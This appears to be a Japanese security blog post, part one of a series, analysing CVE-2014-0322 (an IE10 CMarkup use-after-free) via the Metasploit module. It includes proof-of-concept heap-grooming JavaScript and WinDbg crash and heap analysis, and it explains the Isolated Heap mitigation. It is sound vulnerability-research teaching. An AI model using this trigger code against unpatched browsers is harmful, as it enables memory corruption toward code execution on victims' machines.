以前紹介した Metasploit に含まれる CVE-2014-0322 の脆弱性を利用するモジュールについて、ようやくある程度の理解ができるようになったので記事にします。かなり長くなりそうなので、分割します。

このモジュールは、以下 2 つのファイルで構成されます。ruby のスクリプトと、Flash の swf ファイルです。ruby のスクリプトの中に、JavaScript を含む HTML ページが埋め込まれています。

/usr/share/metasploit-framework/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb
/usr/share/metasploit-framework/data/exploits/CVE-2014-0322/AsXploit.swf

Ruby のファイルは、GitHub からも見ることができます。

metasploit-framework/ms14_012_cmarkup_uaf.rb at master · rapid7/metasploit-framework · GitHub
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb

AsXploit.swf のソースコードは Metasploit に含まれていないので、JPEXS Free Flash Decompiler で逆コンパイルしました。わりと綺麗なコードを生成してくれます。

と、思っていたらソースあったし・・・これで 1 日ぐらいロスした orz
https://github.com/rapid7/metasploit-framework/blob/abd76c50000e75bcac0616b96cd8583e1df3927f/external/source/exploits/CVE-2014-0322/AsXploit.as

Ruby のスクリプトの中に、参考 URL として以下のブログ記事が挙げられています。これはMISC Magazine という雑誌に載せる記事の概要だそうです。

HDW Sec – Blog
http://hdwsec.fr/blog/CVE-2014-0322.html

まずは、CVE-2014-0322 というのはどういうバグで、どうすると何が起こるのか、を見てみます。

以下は、HDW Sec のブログに載っている JavaScript を少し単純化したものです。このコードを含む適当な HTML を書いて、Internet Explorer 10 (修正パッチである KB2925418 を含まないもの) で開くと、IE がクラッシュします。

<script> 
    function dword2data(dword) { 
        var d = Number(dword).toString(16); 
        while (d.length < 8) 
            d = '0' + d; 
        return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4)); 
    }

    var g_arr = []; 
    var arrLen = 0x250;

    function fun() { 
        var a = 0; 
        for (a = 0; a < arrLen; ++a) { 
            g_arr[a] = document.createElement('div') 
        }

        var magic1 = 0xdeadc0de; 
        var magic2 = 0x12345678;

        var b = dword2data(magic1); 
        while (b.length < 0x360) { 
            b += dword2data(magic2) 
        }

        try { 
            this.outerHTML = this.outerHTML 
        } catch (e) {}

        CollectGarbage();

        for (a = 0; a < arrLen; ++a) { 
            g_arr[a].title = b.substring(0, (0x340 - 2) / 2); 
        } 
    }

     window.onload = function() { 
        var a = document.getElementsByTagName('script'); 
        var b = a[0]; 
        b.onpropertychange = fun; 
        b.appendChild(document.createElement('div')); 
    } 
</script>

デバッガーを繋いでおくと、以下のアクセス違反 (AV = Access Violation) をキャッチできます。スタックトレースから、onload から JavaScript が呼ばれて、appendChild を実行したところで AV になったことが分かります。

(6c.750): Access violation - code c0000005 (first/second chance not available) 
eax=12345678 ebx=03e4d1a8 ecx=00000001 edx=03f056c8 esi=03f056c8 edi=03e6d1a0 
eip=72da7a59 esp=0290b6fc ebp=0290b768 iopl=0         nv up ei pl nz na pe nc 
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206 
mshtml!CMarkup::UpdateMarkupContentsVersion+0x16: 
72da7a59 ff4010          inc     dword ptr [eax+10h]  ds:002b:12345688=???????? 
0:005> k 
ChildEBP RetAddr 
0290b6f8 72eada96 mshtml!CMarkup::UpdateMarkupContentsVersion+0x16 
0290b768 72eae1f1 mshtml!CMarkup::NotifyElementEnterTree+0x277 
0290b7ac 72eae065 mshtml!CMarkup::InsertSingleElement+0x169 
0290b88c 72eaddaa mshtml!CMarkup::InsertElementInternalNoInclusions+0x11d 
0290b8b0 72eadd6c mshtml!CMarkup::InsertElementInternal+0x2e 
0290b8f0 72eade09 mshtml!CDoc::InsertElement+0x9c 
0290b9b8 72e43c10 mshtml!InsertDOMNodeHelper+0x454 
0290ba30 72e4390c mshtml!CElement::InsertBeforeHelper+0x2a8 
0290ba94 72e4402c mshtml!CElement::InsertBeforeHelper+0xe4 
0290bab4 72e46f43 mshtml!CElement::InsertBefore+0x36 
0290bb40 72e46e60 mshtml!CElement::Var_appendChild+0xc7 
0290bb70 724cb86f mshtml!CFastDOM::CNode::Trampoline_appendChild+0x55 
0290bbd8 724a425c jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x185 
0290bd74 724a36d9 jscript9!Js::InterpreterStackFrame::Process+0x9d4 
0290be8c 04fc0fe1 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x305 
WARNING: Frame IP not in any known module. Following frames may be wrong. 
0290be98 7249f8e0 0x4fc0fe1 
0290bf20 7249fa4a jscript9!Js::JavascriptFunction::CallRootFunction+0x140 
0290bf38 7249fa1f jscript9!Js::JavascriptFunction::CallRootFunction+0x19 
0290bf80 7249f9a7 jscript9!ScriptSite::CallRootFunction+0x40 
0290bfac 724cc3cd jscript9!ScriptSite::Execute+0x61 
0290c010 731a4a64 jscript9!ScriptEngine::Execute+0x115 
0290c0c8 731a4957 mshtml!CListenerDispatch::InvokeVar+0xfe 
0290c0e8 731a4791 mshtml!CListenerDispatch::Invoke+0x47 
0290c178 731a4064 mshtml!CEventMgr::_InvokeListeners+0x16b 
0290c190 731a400f mshtml!CEventMgr::_InvokeListenersOnWindow+0x3b 
0290c210 731a44f5 mshtml!CEventMgr::_InvokeListeners+0x1e7 
0290c388 72fed3d6 mshtml!CEventMgr::Dispatch+0x4ae 
0290c3ac 73025170 mshtml!CEventMgr::DispatchEvent+0xdd 
0290c3e4 730256d4 mshtml!COmWindowProxy::Fire_onload+0x134 
0290c444 730239fb mshtml!CMarkup::OnLoadStatusDone+0x448 
... 

eax+10 が指す 12345688 というアドレスは、無効な領域なので、Read/Write ともにできません。inc 命令は Read/Write 両方を行うため、AV が発生します。ここでの最大のポイントは、eax の持つ 12345678 という値にあります。このアドレス、JavaScript 内で変数として指定されています。変数を別の値に変えると、AV が発生するアドレスを任意に変えられます。それだけでなく、書き込み可能なアドレスであれば任意の場所の Byte 値をインクリメントできることになります。これは IE のバグであり、CVE-2014-0322 が脆弱性と呼ばれる所以です。「書き込み可能な任意の場所の Byte 値をインクリメントできる」ことを起点として、「任意のペイロード (meterpreter のようなバイナリ) を適当な位置に書き込んで、プログラム カウンターをそこに変更して実行する」 という、”わらしべ長者” になれば exploit 成功です。

まずはこの AV を理解するところから始めます。

0:005> u MSHTML!CMarkup::UpdateMarkupContentsVersion 
mshtml!CMarkup::UpdateMarkupContentsVersion: 
72da7a43 8b427c          mov     eax,dword ptr [edx+7Ch] 
72da7a46 40              inc     eax 
72da7a47 0d00000080      or      eax,80000000h 
72da7a4c 89427c          mov     dword ptr [edx+7Ch],eax 
72da7a4f 8b82ac000000    mov     eax,dword ptr [edx+0ACh] 
72da7a55 85c0            test    eax,eax 
72da7a57 7403            je      mshtml!CMarkup::UpdateMarkupContentsVersion+0x19 (72da7a5c) 
72da7a59 ff4010          inc     dword ptr [eax+10h]

0:005> dd @edx 
03f056c8  deadc0de 12345678 12345678 12345678 
03f056d8  12345678 12345678 12345678 12345678 
03f056e8  12345678 12345678 12345678 12345678 
03f056f8  12345678 12345678 12345678 12345678 
03f05708  12345678 12345678 12345678 12345678 
03f05718  12345678 12345678 12345678 12345678 
03f05728  12345678 12345678 12345678 12345678 
03f05738  12345678 12345678 12345679 92345679 

逆アセンブルの結果を見ると、eax は edx から来ています。edx は何らかのオブジェクトであり、eax はオフセット +AC にあるメンバ変数のようです。eax もまた何らかのオブジェクトであり、NULL チェックの後にオフセット +10 のメンバ変数をインクリメントしている、と読めます。JavaScript の変数の値である eax の値は edx+78 から来ているので、edx の中身を見ると、先頭が deadc0de で、残りは 12345678 で埋められています。再度JavaScript のコードを確認すると、fun 関数における b という文字列変数の内容と一致します。つまり、本来オブジェクトが存在しているべき領域が、JavaScript の文字列で置き換えられています。

edx のアドレスの種類を調べるため、!address edx コマンドを実行します。

0:005> r edx 
edx=03f056c8

0:005> !address @edx 
Mapping file section regions... 
Mapping module regions... 
Mapping PEB regions... 
Mapping TEB and stack regions... 
Mapping heap regions... 
Mapping page heap regions... 
Mapping other regions... 
Mapping stack trace database regions... 
Mapping activation context regions...

Usage:                  Heap 
Base Address:           03e10000 
End Address:            03f0f000 
Region Size:            000ff000 
State:                  00001000        MEM_COMMIT 
Protect:                00000004        PAGE_READWRITE 
Type:                   00020000        MEM_PRIVATE 
Allocation Base:        03e10000 
Allocation Protect:     00000004        PAGE_READWRITE 
More info:              heap owning the address: !heap 0x6e0000 
More info:              heap segment 
More info:              heap entry containing the address: !heap -x 0x3f056c8

0:005> !heap -x 0x3f056c8 
Entry     User      Heap      Segment       Size  PrevSize  Unused    Flags 
----------------------------------------------------------------------------- 
03f056c0  03f056c8  006e0000  03e79a28       348      -            8  LFH;busy 

この出力結果は、03e10000から03f0f000までの範囲がヒープ領域であり、edx=03f056c8 もそこに含まれていることを示します。さらに !heap コマンドでヒープ領域を分析すると、0x340 バイトのバッファーであるようです(Size の 348 から Unused の 8 を引いた値が実際のサイズ)。 ヒープ領域の境界が分かったので、その前後も見ておきます。

03f056a0  12345678 12345678 12345678 12345678 
03f056b0  12345678 12345678 12345678 00005678 
03f056c0  461b2184 88003400 deadc0de 12345678 
03f056c0  12345678 12345678 12345678 12345678 
03f056e0  12345678 12345678 12345678 12345678 
03f056f0  12345678 12345678 12345678 12345678 
... 
03f059e0  12345678 12345678 12345678 12345678 
03f059f0  12345678 12345678 12345678 12345678 
03f05a00  12345678 00005678 461b201d 88003500 
03f05a10  deadc0de 12345678 12345678 12345678 
03f05a20  12345678 12345678 12345678 12345678 
03f05a30  12345678 12345678 12345678 12345678 

前後ともに、同じ文字列で埋められています。03f056c0 から 0x340 バイト続く文字列の最後の Word 値 (at 03f05a06) は 0x0000 で、おそらく NULL 終端文字と考えられます。そして次の文字列の先頭 (deadc0de) があるアドレス 03f05a10 に対して !heap を実行すると、先ほどと同じ結果が返ってきます。

0:005> !heap -x 03f05a10 
Entry     User      Heap      Segment       Size  PrevSize  Unused    Flags 
----------------------------------------------------------------------------- 
03f05a08  03f05a10  006e0000  03e79a28       348      -            8  LFH;busy 

ここで JavaScript のコードを確認すると、以下の for ループが見つかります。

for (a = 0; a < arrLen; ++a) { 
    g_arr[a].title = b.substring(0, (0x340 - 2) / 2); 
} 

部分文字列の長さ “(0x340 - 2) / 2” のうち、/2 の部分は、JavaScript における文字は UTF-16 で 1 文字 2 バイトだからでしょう。-2 は、内部的に文字の末尾に NULL 終端文字が入ることを考慮していると考えられます。つまり、この部分文字列の一つ一つがちょうど 0x340 バイトのヒープを確保するようにデザインされています。

AV のより詳細な分析を行うため、Full Page Heap と User-mode stacktrace database を有効にしてから同じページを開きます。デバッガーに含まれている gflags を使って “gflags -i iexplore.exe +hpa +ust” コマンドを実行してください。Page Heap と User-mode stack trace database についてはこちら↓

The Structure of a Page Heap Block
http://msdn.microsoft.com/en-us/library/ms220938(v=vs.90).aspx

GFlags and PageHeap (Windows Debuggers)
http://msdn.microsoft.com/en-us/library/windows/hardware/ff549561(v=vs.85).aspx

Create user mode stack trace database (Windows Debuggers)
http://msdn.microsoft.com/en-us/library/windows/hardware/ff540107(v=vs.85).aspx

また 同じ関数で AV が発生しますが、発生個所が少し違っています。

mshtml!CMarkup::UpdateMarkupContentsVersion: 
72d37a43 8b427c          mov     eax,dword ptr [edx+7Ch] 
72d37a46 40              inc     eax 
72d37a47 0d00000080      or      eax,80000000h 
72d37a4c 89427c          mov     dword ptr [edx+7Ch],eax 
72d37a4f 8b82ac000000    mov     eax,dword ptr [edx+0ACh] 
72d37a55 85c0            test    eax,eax 
72d37a57 7403            je      mshtml!CMarkup::UpdateMarkupContentsVersion+0x19 (72d37a5c) 
72d37a59 ff4010          inc     dword ptr [eax+10h] <<< ここはパス 
72d37a5c 8b8a94000000    mov     ecx,dword ptr [edx+94h] 
72d37a62 33c0            xor     eax,eax 
72d37a64 85c9            test    ecx,ecx 
72d37a66 7403            je      mshtml!CMarkup::UpdateMarkupContentsVersion+0x28 (72d37a6b) 
72d37a68 8b410c          mov     eax,dword ptr [ecx+0Ch] 
72d37a6b 83b8c001000000  cmp     dword ptr [eax+1C0h],0 ds:002b:000001c0=????????

0:005> dd edx 
0d032cc0  00000000 00000000 00000000 00000000 
0d032cd0  00000000 00000000 00000000 00000000 
0d032ce0  00000000 00000000 00000000 00000000 
0d032cf0  00000000 00000000 00000000 00000000 
0d032d00  00000000 00000000 00000000 00000000 
0d032d10  00000000 00000000 00000000 00000000 
0d032d20  00000000 00000000 00000000 00000000 
0d032d30  00000000 00000000 00000001 80000001 

Page Heap なしでクラッシュした inc はパスして、cmp でクラッシュしました。同様に edx の指すバッファーを見ると、deadc0de はなく、00000000 で埋められています (一部は、クラッシュする前のコードによって書き換えられています)。inc はその前の NULL チェックで弾かれて実行されなかっただけのようです。先ほどと同様、edx に対して !address と !heap を実行します。Full Page Heap が有効になっているので、!heap -p コマンドが使えます。

0:005> !address @edx 
Mapping file section regions... 
Mapping module regions... 
Mapping PEB regions... 
Mapping TEB and stack regions... 
Mapping heap regions... 
Mapping page heap regions... 
Mapping other regions... 
Mapping stack trace database regions... 
Mapping activation context regions...

Usage:                  PageHeap 
Base Address:           0d032000 
End Address:            0d033000 
Region Size:            00001000 
State:                  00001000        MEM_COMMIT 
Protect:                00000004        PAGE_READWRITE 
Type:                   00020000        MEM_PRIVATE 
Allocation Base:        0d030000 
Allocation Protect:     00000001        PAGE_NOACCESS 
More info:              !heap -p 0xac1000 
More info:              !heap -p -a 0xd032cc0

0:005> !heap -p -a 0xd032cc0 
    address 0d032cc0 found in 
    _DPH_HEAP_ROOT @ ac1000 
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr 
   VirtSize) 
                                 cb9316c:          d032ff0               10 -          d032000 
       2000 
    74c98a19 verifier!AVrfDebugPageHeapAllocate+0x00000229 
    77d9cabb ntdll!RtlDebugAllocateHeap+0x0000002f 
    77d487b6 ntdll!RtlpAllocateHeap+0x0000009b 
    77d132ff ntdll!RtlAllocateHeap+0x00000176 
    72ca6d51 mshtml!CAttrArray::Set+0x0000004e 
    72dc8645 mshtml!CAttrArray::SetString+0x00000041 
    72e191b3 mshtml!BASICPROPPARAMS::SetStringProperty+0x00000243 
    72f392e1 mshtml!CBase::put_StringHelper+0x0000005e 
    72f037a4 mshtml!CFastDOM::CHTMLElement::Trampoline_Set_title+0x00000074 
    7245b86f jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x00000185 
    7245c6ba jscript9!Js::JavascriptArray::GetSetter+0x000000cf 
    72460953 jscript9!Js::InterpreterStackFrame::Process+0x00000fbf 
    724336d9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000305 

ヒープ領域に属している点は同じですが、!heap -p -a の実行結果では 0x10 バイトの別の場所のヒープが出力されます。edx が指すアドレスにバッファーは存在しないようです。PageHeap なしのときの 0x340 バイトの文字列はどこへ行ったのでしょうか。

今度は、gflags の設定はそのままで、AV が発生しない正常な動作を見てみます。mshtml!CMarkup::UpdateMarkupContentsVersion の先頭にブレークポイントを設定してから、JavaScript を含んでいそうな適当なページを開きます。複数のコードパスでヒットしますが、なるべく近いものを使いたいのでコールスタックに mshtml!CMarkup::InsertElementInternal が含まれているブレークを見つけます。

0:005> r 
eax=00000000 ebx=120a2fa0 ecx=2d875894 edx=10fe7cc0 esi=10fe7cc0 edi=0e38afc8 
eip=72d37a43 esp=091db2fc ebp=091db368 iopl=0         nv up ei pl nz na pe nc 
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000204 
mshtml!CMarkup::UpdateMarkupContentsVersion: 
72d37a43 8b427c          mov     eax,dword ptr [edx+7Ch] ds:002b:10fe7d3c=80000028 
0:005> k5 
ChildEBP RetAddr 
091db2f8 72e3da96 mshtml!CMarkup::UpdateMarkupContentsVersion 
091db368 72e3e1f1 mshtml!CMarkup::NotifyElementEnterTree+0x277 
091db3ac 72e3e065 mshtml!CMarkup::InsertSingleElement+0x169 
091db48c 72e3ddaa mshtml!CMarkup::InsertElementInternalNoInclusions+0x11d 
091db4b0 72e3dd6c mshtml!CMarkup::InsertElementInternal+0x2e

!address と !heap を実行します。

0:005> !address @edx 
Mapping file section regions... 
Mapping module regions... 
Mapping PEB regions... 
Mapping TEB and stack regions... 
Mapping heap regions... 
Mapping page heap regions... 
Mapping other regions... 
Mapping stack trace database regions... 
Mapping activation context regions...

Usage:                  PageHeap 
Base Address:           10fe7000 
End Address:            10fe8000 
Region Size:            00001000 
State:                  00001000        MEM_COMMIT 
Protect:                00000004        PAGE_READWRITE 
Type:                   00020000        MEM_PRIVATE 
Allocation Base:        10f10000 
Allocation Protect:     00000001        PAGE_NOACCESS 
More info:              !heap -p 0x3981000 
More info:              !heap -p -a 0x10fe7cc0

0:005> !heap -p -a 0x10fe7cc0 
    address 10fe7cc0 found in 
    _DPH_HEAP_ROOT @ 3981000 
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr 
   VirtSize) 
                                109b3548:         10fe7cc0              340 -         10fe7000 
       2000 
          mshtml!CMarkup::`vftable' 
    74c98a19 verifier!AVrfDebugPageHeapAllocate+0x00000229 
    77d9cabb ntdll!RtlDebugAllocateHeap+0x0000002f 
    77d487b6 ntdll!RtlpAllocateHeap+0x0000009b 
    77d132ff ntdll!RtlAllocateHeap+0x00000176 
    72cc4405 mshtml!CDoc::CreateMarkupFromInfo+0x0000017f 
    7313af7f mshtml!CDoc::DoNavigate_CreateMarkupForExistingWindow+0x0000004b 
    7313afe7 mshtml!CDoc::DoNavigate+0x000008b3 
    72faf5f9 mshtml!CDoc::FollowHyperlink2+0x0000058f 
    7313b50f mshtml!CWindow::SuperNavigateInternal+0x000001df 
    7313b305 mshtml!CWindow::SuperNavigate2WithBindFlags+0x00000029 
    73ef7adb ieframe!CDocObjectHost::_NavigateDocument+0x00000185 
    73e7d86c ieframe!CDocObjectHost::SetTarget+0x00000270 
    73e7d5cf ieframe!CDocObjectView::CreateViewWindow2+0x000000ef 
    73e7d498 ieframe!CDocObjectView::CreateViewWindow+0x0000005f 
    73e7d40d ieframe!FileCabinet_CreateViewWindow2+0x0000013c 
    73e7d20c ieframe!CBaseBrowser2::_CreateNewShellView+0x000001db 
    73e7cff9 ieframe!CBaseBrowser2::_CreateNewShellViewPidl+0x00000086 
    73e7cf17 ieframe!CBaseBrowser2::v_NavigateToPidl+0x000001b8 
    73ef7204 ieframe!CBaseBrowser2::_OnGoto+0x00000210 
    73ef6fea ieframe!CBaseBrowser2::_OnAsyncOperation+0x00000031 
    73e70723 ieframe!CBaseBrowser2::v_WndProc+0x0000013c 
    73fc6257 ieframe!CShellBrowser2::v_WndProc+0x00000195 
    73e41fd8 ieframe!CShellBrowser2::s_WndProc+0x0000006d 
    767c77d8 user32!InternalCallWinProc+0x00000023 
    767c78cb user32!UserCallWinProcCheckWow+0x00000100 
    767c899d user32!DispatchMessageWorker+0x000003ef 
    767c8a66 user32!DispatchMessageW+0x00000010 
    73e4363e ieframe!CTabWindow::_TabWindowThreadProc+0x00000476 
    73e90331 ieframe!LCIETab_ThreadProc+0x00000378 
    77a87bc8 iertutil!CIsoWinMsg::PostQueuedMessagesToComponent+0x0000004b 
    73c02a34 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x00000066 
    753a8543 kernel32!BaseThreadInitThunk+0x0000000e 

長さ 0x340 のオブジェクトが出てきました。edx のアドレスの中身をみます。

0:005> dd edx 
10fe7cc0  72c45b90 00000007 00000000 000000a0 
10fe7cd0  10f6bff0 00000000 00000000 00000000 
10fe7ce0  00000000 00000000 00000000 00000000 
10fe7cf0  0c000001 8247c000 00000000 00000000 
10fe7d00  00000000 0d6eafc0 0ff94f50 00000000 
10fe7d10  00000100 00000000 00000000 0d726fc0 
10fe7d20  00000002 00000004 00000010 0000a4d1 
10fe7d30  10995f20 00000000 00000029 80000028 
0:005> ln 72c45b90 
(72c45b90)   mshtml!CMarkup::`vftable'   |  (72c45de8)   mshtml!CElement::`vftable' 
Exact matches: 
    mshtml!CMarkup::`vftable' = <no type information> 
0:005> dds 72c45b90 
72c45b90  72f7cf90 mshtml!CMarkup::PrivateQueryInterface 
72c45b94  72c63a74 mshtml!CMarkup::PrivateAddRef 
72c45b98  72c63a51 mshtml!CMarkup::PrivateRelease 
72c45b9c  73277ab3 mshtml!CBase::PrivateGetTypeInfoCount 
72c45ba0  73277a7a mshtml!CBase::PrivateGetTypeInfo 
72c45ba4  73277a3b mshtml!CBase::PrivateGetIDsOfNames 
72c45ba8  73189446 mshtml!CBase::PrivateInvoke 
72c45bac  7311b22c mshtml!CBase::PrivateGetDispID 

先頭がコード領域のアドレスなので、これは vtable と考えられます。シンボルを見てみると、edx は mshtml!CMarkup クラスであることが分かります。長さは 0x340 です。AV 発生個所が CMarkup のメンバ関数なので、これは this ポインターしょうか。(ecx ではなく edx レジスタなので確証はありませんが。)

以上をまとめると、通常であれば 0x340 のmshtml!CMarkup クラスがヒープ上に確保されているところに、ちょうどヒープ上で0x340 の長さになるようにデザインされた JavaScript の文字列が埋め込まれています。そして、PageHeap 有効下においてこの HTML を開いたときは、edx はヒープ領域の中のバッファーが存在しないアドレスを指していました。これが Use-After-Free の脆弱性です。バッファー解放後に、それとちょうど同じ長さのバッファーを確保させることで、解放された場所と同じ領域が再利用されるのです。バグによって、解放済みのアドレスを指すポインター (=dangling pointer) が残っている間にアドレスの再利用が行われてしまうと、そのポインターは解放されたはずなのに、再び有効なアドレスを指すことになります。これはポインターが乗っ取られた状態です。

次に、PageHeap を無効にし、JavaScript 側で部分文字列の長さを変えて試します。例えばこんな感じ。

for (a = 0; a < arrLen; ++a) { 
    g_arr[a].title = b.substring(0, (0x341 - 2) / 2 + 1); 
} 

こうすると、クラッシュは起きません。手順はこれまでと同じなので結果だけ貼ると、!heap の結果は解放済みのアドレスとして出力されます。これは edx が dangling pointer であることを示しており、バグです。これを乗っ取ることができるので、Use-After-Free が脆弱性と呼ばれます。

0:005> r 
eax=00000000 ebx=04a0a058 ecx=00000001 edx=011a6ab8 esi=011a6ab8 edi=04a166a8 
eip=72da7a43 esp=033fb3bc ebp=033fb428 iopl=0         nv up ei pl nz na pe nc 
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000204 
MSHTML!CMarkup::UpdateMarkupContentsVersion: 
72da7a43 8b427c          mov     eax,dword ptr [edx+7Ch] ds:002b:011a6b34=80000005 
0:005> !heap -x @edx 
Entry     User      Heap      Segment       Size  PrevSize  Unused    Flags 
----------------------------------------------------------------------------- 
011a6ab0  011a6ab8  01140000  01140000       348      1000         0  free 

トレンドマイクロのサイトに、同様の解析の流れ、及び、Isolated Heap と呼ばれる IE 側の防御メカニズムに関する紹介があります。

Isolated Heap for Internet Explorer Helps Mitigate Exploit | Security Intelligence Blog | Trend Micro
http://blog.trendmicro.com/trendlabs-security-intelligence/isolated-heap-for-internet-explorer-helps-mitigate-uaf-exploits/

Isolated Heap とは、簡単に言うと mshtml (trident) のために専用のヒープ MSHTML!g_hIsolatedHeap を使うようになる機能です。これによって、JavaScript などを使って外部から mshtml の dangling pointer を乗っ取ることが極めて困難になります。この機能は 2014 年 6 月のアップデートに含まれています。

MS14-035: Cumulative security update for Internet Explorer: June 10, 2014
http://support.microsoft.com/kb/2969262

Microsoft Security Bulletin MS14-035 - Critical
https://technet.microsoft.com/library/security/MS14-035

以下のブログによると、Google Chrome のエンジンにも似たような機能が実装されているようです。

Isolated Heap & Friends - Object Allocation Hardening in Web Browsers - mwrlabs
https://labs.mwrinfosecurity.com/blog/2014/06/20/isolated-heap-friends—object-allocation-hardening-in-web-browsers/

というわけで今回はここまで。次回から Flash を使った Exploit の手法を見ていきます。